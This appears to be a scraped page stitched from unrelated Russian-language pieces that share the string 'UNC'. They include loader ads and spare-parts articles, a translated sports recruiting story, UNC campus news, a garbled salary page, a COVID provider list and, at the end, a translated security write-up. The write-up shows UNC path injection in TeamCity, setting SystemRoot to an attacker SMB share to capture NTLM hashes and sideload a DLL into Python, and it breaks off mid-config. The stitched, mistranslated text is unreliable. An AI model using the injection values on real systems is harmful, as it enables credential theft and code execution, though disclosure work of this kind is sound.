Unc погрузчик: Ошибка 404. Страница не найдена

Тэги: unc

Похожие объявления

• Продается вилочный мини-погрузчик ₽ 300 000
• Колесный мини-погрузчик WECAN -GM650 “H”, фронтальный ₽1 036 000
• Фронтальный погрузчик Sakai L4, полноприводный, без пробега по РФ ₽ 380 000
• Фронтальный минипогрузчик БАРС, 1994 г. в. ₽ 320 000
• Мини погрузчик Daewoo DSL802 бу продажа ₽ 450 000

Комментарии

Комментариев к записи нет. Вы можете стать первым!

Добавить комментарий

Оставлять комментарии могут только зарегистрированные пользователи!

Легендарная спецтехника завода PPS GROUP A.S. (DETVA) из ЧССР в СССР

16.12.2010 #DETVA

Завод PPS Detva хорошо известен российским потребителям специальной автомобильной техники. Завод поставляет качественную и надежную технику на российский рынок на протяжении последних 40 лет. Погрузчики марки Detva UNC-200, UNO-180, UN-053, UNC-060, UNC-061 в своей деятельности используют такие известные компании, как «Норильский Никель», дочерние компании Газпрома и Лукойла, компании «Русский Алюминий» и «АвтоВаз».

PPS Group A.S. — это компания с традицией более 50 лет в машиностроении. В настоящее время в компании работает более 1500 человек, которые обладают сильным потенциалом и профессионализмом.

Основа стратегической программы ориентирована на производство тяжелых металлических конструкций для сельскохозяйственной, строительной, горнодобывающей и других машин, и на сборку готовой продукции.

PPS Group A.S. управляет своими бизнес-процессами с динамикой, эффективностью и надежностью, чтобы достичь высокой оценки удовлетворенности клиентов. Значительные инвестиции в новые технологии и в техническое оборудование производятся на регулярной основе в целях обеспечения роста производства.

Сочетание современных технологий и человеческого потенциала дает сильные и конкурентоспособные позиции на европейском рынке.

Компания гарантирует стабильное качество своей продукции в соответствии с системой управления качеством ISO 9001:2001 и системой качества сварки STN EN 3834-2, DIN 15 018, DIN 4132.

Две наиболее популярные машины в истории PPS Detva  — это UN-050 и UN-053. Эти машины из-за своей простоты, надежности и долговечности получили признание почти по всему миру. Количество выпущенных погрузчиков — более 30000 штук, что говорит само за себя.

Погрузчики UN-050 и UN-053 вы найдете в Тунисе, Ираке, Китае, Кубе и во многих других странах. Однако большинство погрузчиков было экспортировано в страны СССР и Российскую Федерацию. Машины в СССР оказались на территории от Северного полярного круга до пустыни Гоби. Надежный двигатель Zetor, стабильные гидравлические системы Sauer и, особенно, радиус поворота стрелы 180° сделали из этого необыкновенного куска металла машину, которая с гордостью представляла марку Detvan.

История механизма UN началась в 70-ые годы, когда завод Поляна Strojarne получает задание разработать наследника легендарного Honau. Задача была непростая, потому что придумать что-то еще лучше представлялось очень сложным. Но в итоге наградой за труды конструкторов была врученная им золотая медаль в Брно в 1972 году. UN-050 был сразу же размещен в первом классе качества, как и все другие машины завода. Погрузчики UN-050 вдруг стали самыми популярными машинами для экспорта. С этой машиной объем экспорта значительно вырос. Уже в 1978 году в присутствии всех должностных лиц и членов Коммунистической партии было принято решение о поставке 10000 погрузчиков UN-050 для СССР.

За время производства разрабатывались и производились новые дополнения устройства, изготовленные на новом заводе Крупина. Но даже эта машина была не без недостатков. Кабина была постоянно прикреплена к раме. Серьезным недостатком был треск в раме поворота. Все эти недостатки устранились в погрузчике UN-053. Кабина была смонтирована на раме с помощью болтов-булавок, и, наконец, открылся доступ к задним колесам. Произведено два варианта: UN-053.1 и UN-053.2. Производство продолжалось до 1998 года. Это легендарная машина по-прежнему является очень популярным помощником в каждой из областей экономики и там, где необходима достойная спецтехника, простота обслуживания и неустанная работа — главные преимущества погрузчика UN-053.

Период 1996 — 2001 гг. характеризуют долгосрочные отношения с авторитетными международными партнерами в контексте перехода от вооружения к производству гражданской продукции: Komatsu Hanomag — Германия, Komatsu Utility Европы — Италии, Volvo — Швеция, Volvo — Германия, Karosa — Чешская Республика, Cesab — Италия. В 1996 году государственное предприятие PPS Detva было преобразовано в акционерное общество как PPS Detva, а затем постепенно интегрировались в ДМД холдинг.

В связи с неустойчивой деловой политикой и текущими проблемами, связанными с преобразованием отдела специальных продуктов, головная компания PPS Detva стала финансово несостоятельной. В 1997 году она была преобразована в PPS Holding AS, который продолжает производственную программу своего предшественника. Однако отсутствие гибкости в ответ на кризис строительной отрасли в Европе и косвенная стагнация продаж строительного оборудования и машин привели PPS Detva как холдинг к экономическим трудностям. По постановлению районного суда в Банска-Бистрица от 9 мая 2002 г. PPS Detva Holding был объявлен банкротом. Однако после вынесения судебного решения о банкротстве компания не прекращала, а продолжала производство, а также продажу широкого ассортимента продукции. Компания функционировала под названием «PPS Detva» как обанкроченный холдинг.

В июне 2003 года компания PPS Detva Holding A.S. была приобретена группой инвесторов из Швейцарии,  Ситно холдинг (Братислава) и инвестиционной компанией Odien/Sevis reeng (Братислава).

С этого времени PPS Group A.S. начинает новую эпоху в своей истории. И ставит перед собой четкие стратегические цели: адаптироваться к требованиям глобальной торговли и стать стратегическим поставщиком агрегатов, запасных частей и узлов для всего международного маркой производители строительной техники и другого тяжелого оборудования.

Универсальные фронтальные мини погрузчики с бортовым поворотом завода PPS Group A.S. (Detva):

Запчасти на весь модельный ряд мини погрузчиков UNC-060/061 и др. , производимых Словацким заводом «PPS DETVA», всегда есть на складах нашей группы компаний. В нашем автомагазине  «Страна Автозапчастей» работает специализированный отдел по развитию данного направления. Бренд UNC хорошо известен российским потребителям благодаря безупречной работе, сравнительно недорогим запасным частям к UNC-060/061 и расходным материалам, высоким качеством сервисного обслуживания.

Универсальные фронтальные мини погрузчики UNC-060 (УНЦ-060), DETVAN UNC-061 (УНЦ-061) LOCUST-750 (Локуст-750) предназначены для выполнения земляных работ, прежде всего для погрузки, перемещения и планировки пород всех классов, рытья узких траншей, бурения ям, уборки снега. Широкий выбор сменного навесного оборудования значительно расширяет возможности применения погрузчиков марки UNC-060. (А так же большой выбор запчастей делает этот модельный ряд очень выгодным).

Привод движения мини погрузчиков УНЦ-060 (UNC-060) гидростатический, состоящий из гидрогенераторов SAUER SPV-20 и гидромоторов SAUER SMF-20. Приводным агрегатом является дизельный двигатель ZETOR-5201. Управление движением погрузчика и работа рабочего оборудования  — гидравлические и осуществляются с помощью джойстиков ORSTA. Поворот погрузчика UNC-060 осуществляется за счёт различной скорости вращения отдельных пар колес. Кабина безопасного типа, простая система управления погрузчиком, расположение органов управления и контрольно-измерительных приборов удобно в обслуживании.

Высокая манёвренность УНЦ-060 положительно отражается на работе оператора, что обеспечивает высокую производительность погрузчика. Принимая во внимание потребности заказчиков, производителем был разработан погрузчик УНЦ-061 (UNC-061) с возможностью управления передвижением одной левой рукой и управления рабочим оборудованием правой рукой, что позволяет более рационально использовать рабочее время.

Грузоподъёмность мини погрузчика УНЦ-061 увеличилась до 800 килограмм.

Дизельный двигатель ZETOR-5201 имеет широкое применение как источник энергии в мини-погрузчиках МКСМ-800, UNC-060, UNC-061, LOCUST-750, DESTA, BOBEK-761 и фронтальных погрузчиках UN-053,UNC-200, UNC-201, UNK-320, UDS-114, LKT-81 благодаря высокой надежности. Дизельный двигатель ЗЕТОР обладает высоким термическим КПД, поэтому отличается высокой экономичностью. В выхлопных газах дизельного двигателя ZETOR содержится низкий процент углеводородов и окислов углерода. Такие характеристики двигателя ZETOR делают его хорошей альтернативой по сравнению с другими марками дизельных двигателей.

Универсальный поворотный погрузчик UN-053, UNO-180, UZS-050 является эксклюзивным в своём роде погрузчиком, имеющим возможность поворота рабочего оборудования на 90 градусов от продольной оси, что позволяет сократить цикл погрузочно-разгрузочных работ. УН-053 (UN-053), УНО-180 (UNO-180) сконструирован так, что, кроме основного рабочего ковша, который поставляется с погрузчиком, имеется большой выбор навесного оборудования, применение которого повышает универсальность фронтального погрузчика.

Основную часть машины UN-053 представляет рама сварной конструкции. На задней части рамы установлен дизельный двигатель Zetor-7201, образующий один монтажный комплект вместе с приводом насосов, гидравлическими насосами SAUER SPV-22, SMF-22, U 80/32 L и воздушным фильтром. В передней части погрузчика UNO-180, UN-053 установлено рабочее оборудование, состоящее из рабочего инструмента, быстродействующего зажима рычажной передачи, стрелы и гидроцилиндров.

В средней части рамы фронтального погрузчика УН-053, УНО-180 находится кабина безопасности «ROPS» с возможностью установки конструкции «FOPS», коробка передач с гидравлическим мотором SMF-22 ходовой части, соединительными валами для привода осей и распределителями RS 20 D3, RS 16 D 1 рабочего оборудования.

Универсальный фронтальный погрузчик UNC-200, UNC-201, UNK-320 предназначен для земляных работ, главным образом для выемки, погрузки и транспортирования горных пород 1-5 категорий. Погрузчики УНЦ-200, УНЦ-201, УНК-320 также можно использовать для разработки горных пород, при манипуляции зернистыми промышленными материалами и сельскохозяйственными продуктами объёмной массой до 1600 кг/м³. Эксплуатация фронтальных погрузчиков UNC-200, UNC-201, UNK-320 допускается при атмосферной температуре в пределах от -15 до +37°С. Универсальность погрузчиков УНЦ-201 обеспечивается за счёт применения сменного навесного оборудования: карьерный ковш, двухчелюстной ковш, ковш для лёгких материалов, вилочный захват для брёвен, крупнообъёмный ковш ёмкостью 6.75 м³. Каждый потребитель строительной техники UNC-201, UNC-200 UNK-320 знает, что своевременное техническое обслуживание и использование оригинальных запасных частей помогает обеспечить длительный срок службы погрузчика УНЦ-200, его экономичную эксплуатацию и предупредить зачастую излишние дефекты и травмы.

Наша компания предлагает только оригинальные запасные части для фронтальных погрузчиков.

#Стойка стабилизатора Nissan

Стойка стабилизатора Nissan: основа поперечной устойчивости «японцев»

22.06.2022 | Статьи о запасных частях

Ходовая часть многих японских автомобилей Nissan оснащается стабилизатором поперечной устойчивости раздельного типа, соединенным с деталями подвески двумя отдельными стойками (тягами). Все о стойках стабилизатора Nissan, их типах и конструкции, а также о подборе и ремонте — читайте в данной статье.

#Ремень приводной клиновой

Ремень приводной клиновой: надежный привод агрегатов и оборудования

15.06.2022 | Статьи о запасных частях

Для привода агрегатов двигателя и в трансмиссиях различного оборудования широко применяются передачи на основе резиновых клиновых ремней. Все о приводных клиновых ремнях, их существующих типах, особенностях конструкции и характеристиках, а также о правильном выборе и замене ремней — читайте в статье.

Барабан тормозной ГАЗ: управляемость и безопасность горьковских автомобилей

08.06.2022 | Статьи о запасных частях

Тормозные системы большинства ранних и актуальных моделей автомобилей ГАЗ оснащаются колесными механизмами барабанного типа. Все о тормозных барабанах ГАЗ, их существующих типах, конструктивных особенностях и характеристиках, а также о выборе, замене и обслуживании данных деталей — читайте в статье.

#Палец поршневой

Палец поршневой: прочная связь поршня и шатуна

02.02.2022 | Статьи о запасных частях

В любом поршневом двигателе внутреннего сгорания присутствует деталь, соединяющая поршень с верхней головкой шатуна — поршневой палец. Все о поршневых пальцах, их конструктивных особенностях и способах установки, а также о верном подборе и замене пальцев различных типов подробно рассказано в статье.

Вернуться к списку статей

Погрузчик UNC 060 (УНЦ 060)

Главная Погрузчики Погрузчик UNC 060…

Технические данные УНЦ-060

Двигатель

Трансмиссия

Привод погрузчика UNC 060  – гидростатический. Силовым агрегатом служит двигатель Zetor  5201, мощность которого гарантирует динамичность работы погрузчика. Трансмиссия состоит из привода насосов, редукторов и четырех самостоятельно закрепленных ходовых колес.

Управление движением погрузчика и работа рабочего оборудования сосредоточено на два рычага управления, с помощью которых приводятся сервоклапаны управления (ORSTA или  BARDEJOV).  Поворот погрузчика осуществляется за счет различной скорости вращения отдельных пар колес.

Гидравлическая система трехконтурная и надежно обеспечивает работу погрузчика.

Простая система управления погрузчиком, удобное расположение органов управления и контрольно-измерительных приборов, удобное обслуживание, положительно отражаются на работе оператора.

Рама погрузчика УНЦ-060 (UNC 060) образует несущую часть агрегатов, которые сгруппированы в более крупные монтажные узлы. В задней части рамы установлен двигатель Zetor  5201, который с приводом насосов и насосами (SPV 20, А72XTM) образуют один монтажный узел. Гидравлические радиатор и радиатор системы охлаждения двигателя расположены перед двигателем.  Топливный бак установлен с правой стороны двигателя, внутри рамы. Гидравлический бак, в котором встроен фильтр (а) рабочей жидкости, располагается с левой стороны двигателя, внутри рамы.  Распределитель RS16D3 находится под радиаторами.   

Двигатель Zetor 5201 – четырехтактный дизель, водяного охлаждения с непосредственным впрыском топлива.  Блок коленчатого вала отлит из серого чугуна. Головка для каждого цилиндра самостоятельная. Гильзы –сменные. Система охлаждения жидкостная, с принудительной циркуляцией. Система газораспределения верхнеклапанная, с толкающими штангами. Смазка, циркуляционная, с масляной ванной, погрузчик УНЦ-060 UNC 060 имеет двухступенчатый масляный фильтр.

Наша компания занимается поставкой запасных частей к погрузчикам UNC 060 UNC 061, большой выбор запасных частей. 

 фото каталог                                            каталог запасных частей    UNC-060. pdf

Заказать запасные части

Завершение набора на выходных ACC: UNC загружается в DL, Майами реагирует на реакцию — On The Trail

• NFL Rumor Central
• NBA Rumor Central
• MLB Rumor Central
• Слухи о студенческом футболе
• Слухи о студенческом баскетболе

Choose Blog…

• Электронная почта

27 октября 2015 г.

• печать

Нет лучшего описания выходных, которые были на вербовочном пути ACC, чем столпотворение. В то время как Северная Каролина спокойно занималась своими делами, добавляя ключевой элемент в класс по защите, дела вокруг увольнения Эла Голдена в Майами были довольно хаотичными, и это даже повлияло на штат Флорида. теперь можно было отправиться в Алабаму. Том Хаук для студенческого спорта

Самое большое обязательство: Защитный отбор Марлона Данлэпа в Северную Каролину. Tar Heels потихоньку готовят класс в Чапел-Хилл, и в воскресенье Ларри Федора и его сотрудники приняли очень важное обязательство от Данлэпа. Защитный снаряд ростом 6 футов 4 дюйма и весом 290 фунтов привносит дополнительный размер и атлетизм в оборону координатора Джина Чизика. Данлэп присоединяется к старшему игроку Томону Фоксу, потенциально способному создать разницу в конце, и четырехзвездному тэклу Кайри Кэмпбеллу в качестве лучших словесных защитников в классе. Следующей задачей персонала является сохранение Фокса в гуще событий, вероятны официальные визиты на соревнования.

Крупнейшее списание: Четырехзвездочный ресивер Аммон Ричардс из Майами (Флорида). В любом случае это вело к отмене обязательств, с запланированными визитами в Алабаму и Оберн, но увольнение Эла Голдена формально открыло дверь для гладкого, как шелк, получателя, чтобы продолжить и возобновить свою вербовку.

pic.twitter.com/rCKdhjOZhw

— AR15 (@AhmmonR2) 25 октября 2015 г.

Нет никаких сомнений в том, что Алабама теперь команда, которую нужно победить, и задачей нового персонала «Харрикейнз» будет быстрое налаживание отношений с Ричардсом и его матерью. Младший брат Ричардса, Марк-Энтони Ричардс, является стартовым университетским игроком, возвращающимся в Веллингтон Хай, и отъезд Аммона в Алабаму может затруднить путешествие для семьи — в любом случае, это может стать рекламным ходом для нового персонала в Корал-Гейблс.

Самый впечатляющий визит: Внешний полузащитник ESPN Junior 300 Вандариус Коуэн совершил короткую поездку в Майами на выходных, чтобы проверить «Харрикейнз».

😈🙌🏾 pic.twitter.com/cVLEm8NqNM

— Loco Ocho #8 (@vandarius98) 25 октября 2015 г.

Мало того, что Коуэн удалился из штата Флорида в Твиттере в какой-то момент в воскресенье (этот твит с тех пор был удален ), но похоже, что Коуэн сделает публичное обязательство перед ураганами в воскресенье после того, как изменит свой фон в Твиттере на логотип, который Майами использовал в 2017 году.

Новый фон на странице #ESPNJr300 OLB @vandarius98 -> -> pic.twitter.com/tKYxW6tyDe

— Джерри Гамильтон (@HamiltonESPN) 25 октября 2015 г.

Однако вскоре этот фон был удален. Коуэн все еще был в кампусе в Корал-Гейблс в воскресенье, и вполне возможно, когда сотрудники узнали, что Эл Голден был уволен.

Самый большой вопрос: Будет ли новый тренер Майами (Флорида) держать тренера приемников Кевина Бирда? Берд очень популярен благодаря обязательствам и перспективам, и это особенно касается динамичного плеймейкера ESPN 300 Сэма Брюса, у которого давние отношения с Бердом.

Пока КБ есть, я там.

— 6-3 (@_QUICK6) 26 октября 2015 г.

В течение многих месяцев у «Харрикейнз» была потрясающая группа приемников. Возможность для нового главного тренера подписать контракты с Брюсом, Ричардсом и Дионте Маллинсом будет огромной с точки зрения восприятия.

• Электронная почта

• Условия использования
• Политика конфиденциальности
• Реклама на основе интересов
• Права ЕС на конфиденциальность
• Политика в отношении файлов cookie
• Управление настройками конфиденциальности

© ESPN Enterprises, Inc. Все права защищены.

Покрытие UNC

Все активы, связанные с тегом: UNC

Вдохновение: влияние учителя длится вечно

На одном из первых занятий Рут Муз преподавала в университете в 1998 году Дженни Хан, автор книги Все мальчики, которых я любила раньше» и шоураннер «Летом, которое я стала красивой», ответили на подсказку литературным образом: персонажи сидят на ступеньках. Дырка в красном купальнике.

Сюжет Дженнифер Трэн / Фото Дастина Дуонга, UNC Media Hub о готовности к чрезвычайным ситуациям от зомби 22 сентября 2022 года. Мероприятие также включало огневые демонстрации.

21:41, 22 сентября

Зомби вторгаются в UNC для мероприятия по обеспечению готовности к чрезвычайным ситуациям

Персонал был в масках и с зомби-гримом, предоставленным местными визажистами и владельцами домов с привидениями из «Голливудского шоу ужасов» Дином и Старр Джонс.

Кэти Ханрахан, редактор образа жизни WRAL

21:39, 22 сентября

Бывшая аспирантка Университета Северной Каролины говорит, что ее профессора выгнали ее из программы докторантуры. Теперь она подает иск о дискриминации

Когда Анжелика Роуз Браун была принята в бизнес-школу Кенана Флаглера при Университете Северной Каролины. Программа в 2020 году, по ее словам, приблизила ее на один шаг к ее карьерным устремлениям.

17:04, 22 сентября

Университеты Северной Каролины используют социальные сети для отслеживания деятельности студентов Университет Восточной Каролины, Университет Северной Каролины A&T, Университет Северной Каролины в Эшвилле, Университет Дьюка и Университет Уэйк Форест — для выявления студентов, участвующих в политических протестах.

12:46, 22 сентября

Семь кампусов колледжей Северной Каролины тайно отслеживали сообщения студентов и протестующих в социальных сетях

Вторжение старшего брата в частную жизнь или активная полиция? Это вопрос после того, как новый отчет показал, что семь университетов Северной Каролины используют или использовали мощные программы мониторинга социальных сетей, чтобы следить за всем, от протестов в кампусе до благополучия студентов и наркотиков.

Каллен Браудер, ведущий/корреспондент WRAL

12:44, 22 сентября

Фальсификация напитков, отчеты о нападениях на общежитие UNC расследуются

Полиция UNC расследует сообщение о фальсификации напитков. Предупреждение о преступлении, направленное сообществу кампуса, сообщило студентам, что 26 августа в 200-м квартале Ист-Розмари-стрит погибли две жертвы. Полиция UNC расследует фальсификацию напитков, сообщает о нападении

Полиция UNC расследует предполагаемый случай фальсификации напитков в общежитии в августе.

2:18 утра, 16 сентября

US News and World Report называет университет штата Северная Каролина, штат Северная Каролина, университетом с самым высоким рейтингом

Первым названным университетом Северной Каролины был Университет Дьюка, занявший 10-е место в рейтинге список.

17:39, 12 сентября

Студент UNC, обучающийся за границей в Лондоне, рассказывает о «мрачном» настроении в городе

Студент Университета Северной Каролины в Чапел-Хилл и обучающийся за границей в Лондоне описывает глубокое влияние смерти королевы на город и то, каково было посетить Букингемский дворец после ее смерти.

11:06, 9 сентября

Студенты UNC, обучающиеся в Лондоне, часть дня творения истории изготовление.

3:40, 9 сентября

«Мне угрожали убить меня:» Франклин-стрит становится страшным местом для студентов, сотрудников

Устные угрозы. Агрессивное попрошайничество. Сексуальное домогательство. Все на Франклин-стрит в Чапел-Хилл.

Сара Крюгер, репортер WRAL Durham

23:15, 7 сентября

Общежитие UNC стало объектом многочисленных взломов, отчеты о воровстве оповещение сообщества кампуса.

00:54, 2 сентября

Бывший аспирант UNC подает в суд на университет за дискриминацию

Иск, поданный в федеральный суд, последовал за шквалом других исков о расовой дискриминации в UNC в последние годы.

22:50, 31 августа

Бывший аспирант подает в суд на UNC из-за расовой дискриминации

Бывший аспирант Университета Северной Каролины в Чапел-Хилл подал федеральный иск против школы за расовую дискриминацию и месть .

22:50, 31 августа

Студенты UNC обеспокоены арестом ALE на Франклин-стрит

Правоохранительные органы Северной Каролины 25 августа провели операцию по всему штату, в ходе которой они арестовали и предъявили обвинение Александру Самнеру.

23:47, 29 августа

«Это наши сокурсники»: высказаны опасения по поводу применения силы ALE при аресте студента UNC

Правоохранительные органы Северной Каролины проводили операцию по всему штату 25 августа. когда они арестовали и предъявили обвинение Александру Самнеру.

Моника Кейси, репортер WRAL Durham

23:12, 29 августа

Десятки тысяч студентов, очень мало доз вакцины против оспы обезьян в начале учебного года

В начале осеннего семестра, Дьюк, Университет Университет Северной Каролины в Чапел-Хилл и Университете штата Северная Каролина предлагают студентам вакцины против обезьяньей оспы, но их очень не хватает.

Джо Фишер, корреспондент WRAL

22:09, 26 августа

UNC принимает меры предосторожности против COVID и обезьяньей оспы, поскольку студенты возвращаются в кампус

День заселения начинается в среду в Университете Северной Каролины в Чапел-Хилл, когда некоторые из первых студентов колледжей в Треугольнике возвращаются в кампус на осенний семестр.

Кинан Уиллард, репортер WRAL Восточная Северная Каролина

12:33, 10 августа

Въезд в Университет Северной Каролины начинается во время вспышки обезьяньей оспы

Как и другие университеты и учреждения, Университет Северной Каролины занимается двумя проблемами общественного здравоохранения — коронавирус и оспа обезьян.

12:33, 10 августа

Медицинские ординаторы UNC активизировались, чтобы помочь пострадавшим от наводнения в Кентукки

Во вторник два ординатора нейрохирургии Университета Северной Каролины в Чапел-Хилл вмешались с некоторой помощью сверху.

2:13 утра, 4 августа

Cooper, правозащитная группа, корпорации подают сводки в поддержку политики допуска UNC в дело

Верховного суда США. Ожидается, что в этом году Верховный суд США заслушает аргументы по делу, которое оспаривает политику UNC-Chapel Hill по учету расы при приеме.

Марк Бергин, старший мультиплатформенный продюсер WRAL

9:36 вечера, 3 августа

Университет Северной Каролины выпускает протоколы COVID 2022 осенью 2022 года , 2 августа

Университет Северной Каролины в списке лучших больниц Северной Каролины

Университетская больница Дьюка возглавляет ежегодный список лучших больниц Северной Каролины, составленный US News and World Report.

13:05, 26 июля

Журналистка Николь Ханна-Джонс не может подать заявку на работу в UNC-Chapel до 2028 года, согласно соглашению

год. Ханна-Джонс отказалась от пятилетнего контракта и вместо этого поступила в Университет Говарда.

Брайан Андерсон, репортер правительства штата WRAL

16:40, 21 июля

Обратная связь

Заработная плата фронтального погрузчика в Северной Каролине

Штаты с более высокими окладами для фронтальных погрузчиков

Фронтальные погрузчики, работающие в Северной Каролине, будут получать самую высокую зарплату в США, за ней следуют Калифорния и округ Колумбия. В этих штатах больше возможностей для трудоустройства, чем в других местах. В то же время конкуренция будет более жесткой. Людям необходимо повысить свою конкурентоспособность, чтобы получить работу в этих городах.

Топ-5 штатов с более высокими зарплатами для
Фронтальный погрузчик в США:

Фронтальный погрузчик на Аляске: 38 303 долл. США

Фронтальный погрузчик в Калифорнии: 38 166 долл. США

Фронтальный погрузчик в округе Колумбия: 38 006 долл. США

Фронтальный погрузчик в Нью-Джерси: 37 7175 долл. США

Фронтальный погрузчик в Массачусетсе: $37 175

Вакансии Front End Loader имеют много разных направлений. И название должности также может сильно отличаться от в разных компаниях. В некоторые должности может не входить загрузчик переднего плана, хотя у них есть обязанности загрузчика переднего плана. Итак, вот несколько похожих вакансий и их зарплаты. Щелкните ссылку, которая вас интересует, чтобы изучить дополнительные данные.

Front End Loader Operator

Average salary

United States

$33,408

per Year

View salaries

Job openings

Front Loader Operator

Average salary

United States

$34,861

per Year

Посмотреть зарплаты

Вакансии

Front End Manager

Средняя зарплата

США

$48,864

в год

View salaries

Job openings

Front End Programmer

Average salary

United States

$67,802

per Year

View salaries

Job openings

Front End Supervisor

Average salary

United States

$34 220

в год

Посмотреть зарплаты

Вакансии

Front End Designer

Средняя зарплата

США

$69 823

в год

Посмотреть зарплаты

Вакансии

Получите примерный расчет того, сколько вы должны зарабатывать, и представление о возможностях вашей карьеры.

Часто задаваемые вопросы

Общие вопросы о заработной плате фронтального погрузчика

Получите личный отчет о зарплате, чтобы узнать, какие факторы могут повлиять на зарплату фронтального погрузчика.

Эта информация полезна?

Спасибо!

Эта модель также получила множество положительных отзывов от клиентов, о чем свидетельствует ее средний рейтинг 4,7/5 из более чем 150 обзоров Google, поэтому мы выбрали ее как лучшую стиральную машину среднего класса с фронтальной загрузкой.

Полезна ли эта информация?

Спасибо!

Подробные диапазоны заработной платы для профессий, аналогичных фронтальному погрузчику, см. на следующих страницах вакансий:

• Оператор фронтального погрузчика

• Оператор фронтального погрузчика

• Интерфейсный менеджер

• Интерфейсный программист

• Внешний супервайзер

• Интерфейсный дизайнер

• Архитектор интерфейса

• Ведущий интерфейс

• Front-End специалист

• Ведущий разработчик интерфейса

Полезна ли эта информация?

Спасибо!

В Гарисбурге самая высокая заработная плата фронтального погрузчика. Получите личный отчет о зарплате, чтобы узнать больше информации о зарплате в разных городах.

Полезна ли эта информация?

Спасибо!

Career Insights

Информация о COVID-19 | Округ Нэш, Северная Каролина,

Перейти к основному содержанию

Загрузка

Создайте учетную запись — повысьте свою производительность, настройте свой опыт и получайте информацию, которая вам важна.

• Войти

Поиск

Провайдер
Nash UNC Health Care		www.nashunchealthcare.org
Аптека Бейли		252-235-3562
Аптека CVS		www. cvs.com
Медицинская группа Восточной Северной Каролины	Скалистая гора	984-215-5485
New Beginning Family Services of NC	Скалистая гора	252-266-3164
ОИК	Скалистая гора	252-210-9019
Аптека Саутсайд	Весенняя надежда	252-478-5969
Аптека Walgreens		www. walgreens.com
Аптека Walmart		www.walmart.com
Клиники через Северную Каролину		www.myspot.nc.gov

Для получения данных посетите панель мониторинга COVID-19 Министерства здравоохранения и социальных служб Северной Каролины по адресу https://covid19.ncdhhs.gov/dashboard 

Информация о V-Safe (на английском языке)

Информация о V-Safe (на испанском языке)

Вы можете записаться на тест в Департаменте здравоохранения округа Нэш или в любом из других агентств по тестированию, перечисленных здесь. Выполните поиск по почтовому индексу, чтобы найти ближайшее к вам место.

Нажмите здесь, чтобы найти места тестирования

1. Это учреждение предоставляет равные возможности.
   

   
   

2. Округ Нэш
3. Вашингтон-стрит, 120 Вт,
4. Люкс 3072
5. Нэшвилл, Северная Каролина 27856
6. Телефон: 252-459-9800

1. Должен ли я быть резидентом округа Нэш или гражданином США, чтобы работать в округе Нэш?
2. Как долго мое приложение будет оставаться активным?
3. Могу ли я отправить только резюме?

/FAQ.aspx

1. Доступ сотрудников
2. Дом
3. Карта сайта
4. Свяжитесь с нами
5. Доступность
6. Уведомления об авторских правах

/QuickLinks. aspx

[]

Случай боковой загрузки DLL из UNC через переменную среды Windows

Около месяца назад я решил взглянуть на JetBrains TeamCity, так как хотел узнать больше о CVE-2022-25263 (аутентифицированное внедрение команд ОС в агенте). Push-функция).

Первоначально я просто хотел найти затронутую функцию и протестировать меры по смягчению последствий, в конце концов я стал искать другие интересные варианты поведения, которые можно было бы считать проблемами безопасности, и наткнулся на то, что я считал уязвимостью, однако после раскрытия информации поставщик убедил меня, что ситуация считается нормальной в контексте TeamCity и его модели потоков. Поскольку функция, которую я тестировал, позволила мне установить некоторые переменные среды, которые позже были переданы в данный процесс шага сборки (в моем случае это был python.exe).

Во время этого процесса я случайно обнаружил, что Python в Windows можно использовать для боковой загрузки произвольной библиотеки DLL с именем rsaenh. dll, помещенной в каталог с именем system32, расположенный в каталоге, указанном переменной среды SystemRoot, переданной процессу (это загружает %SystemRoot%/system32/rsaenh.dll).

В целях тестирования я установил TeamCity в 64-разрядной версии Windows 10 с настройками по умолчанию, настроив сервер TeamCity и агент TeamCity Build для работы от имени обычного пользователя (это настройка по умолчанию).

Я использовал одну и ту же систему как для TeamCity Server, так и для агента сборки.
Сначала я как администратор создал пример проекта с одним этапом сборки типа Python.
Я установил Python3 (python3.10 из Microsoft App Store, установил флажок, чтобы добавить его в PATH), поэтому агент будет совместим для запуска сборки. Я также создал сценарий сборки hello world python:

С этого момента я переключился на обычную учетную запись пользователя, которой не разрешалось определять или редактировать шаги сборки, а только запускать их, с возможностью управления пользовательскими параметрами сборки (включая некоторые переменные среды).

Я столкнулся с двумя отдельными экземплярами внедрения пути UNC, что позволило мне атаковать агент сборки. В обоих случаях я мог заставить систему подключаться через SMB к выбранному мной ресурсу (что позволило мне захватить хэш NTLM, чтобы я мог попытаться взломать его в автономном режиме или передать его по SMB).

В случае шагов сборки с использованием python также оказалось возможным загрузить произвольный файл DLL из общего ресурса, который я настроил с помощью smbd, размещенного из коробки KALI.

Локальный IP-адрес системы Windows был 192.168.99.4. Я запустил KALI Linux в той же сети под 192.168.99.5.

Внедрение UNC для захвата хэша/NTLM-relay

В окне KALI я запустил ответчик с настройками по умолчанию, например:

Затем, перед запуском сборки, я установил для параметра teamcity.build.checkoutDir значение \\192.168.99.5\pub:

Я также запустил Procmon и настроил фильтр для перехвата любых событий с атрибутом «Путь», содержащим «192. 168.99.5».
Я нажал «Выполнить сборку», в результате чего путь UNC был прочитан службой, как показано на снимке экрана ниже:

Ответчик успешно перехватил хеш (несколько раз):

Я заметил, что teamcity.build.checkoutDir был проверен и в конечном итоге он не будет использоваться для попытки загрузить скрипт сборки (чего я и пытался добиться в первое место, подделав его), и при запуске сборки приложение откатилось к значению по умолчанию C:\TeamCity\buildAgent\work\2b35ac7e0452d98f. Тем не менее, до проверки сервис взаимодействовал с общим ресурсом, чего, я считаю, быть не должно.

Внедрение UNC для загрузки произвольной DLL

Я обнаружил, что могу атаковать агент сборки, отравляя переменные среды так же, как я атаковал сервер, через настройку параметров сборки.
Поскольку на моем этапе сборки использовался Python, я немного поиграл с ним, чтобы посмотреть, могу ли я повлиять на то, как он загружает библиотеки DLL, изменив переменные среды. Оказалось, что могу.

Python в Windows можно использовать для боковой загрузки произвольной библиотеки DLL с именем rsaenh.dll, помещенной в каталог с именем system32, расположенный в каталоге, указанном переменной среды SystemRoot, переданной процессу.

Например, установив для переменной среды SystemRoot значение «\\192.168.99.5\pub» (из значения по умолчанию «C:\WINDOWS»):

В случае python3.10.exe это привело к исполняемый файл пытается загрузить \\192.168.99.5\pub\system32\rsaenh.dll:

При работающем Responder, как и в случае атаки на сервер TeamCity, были захвачены хэши:

Однако, поскольку python3.10 явно стремился загрузиться DLL из пути, которым можно управлять с помощью переменной SystemRoot, я решил развернуть общий ресурс SMB с публичным анонимным доступом и предоставить копию исходного файла rsaenh.dll в каталог pub\system32\, общий для SMB.
Я использовал следующий /etc/samba/smb.config:

[глобальный]

рабочая группа = WORKGROUP
файл журнала = /var/log/samba/log. %m
максимальный размер журнала = 1000
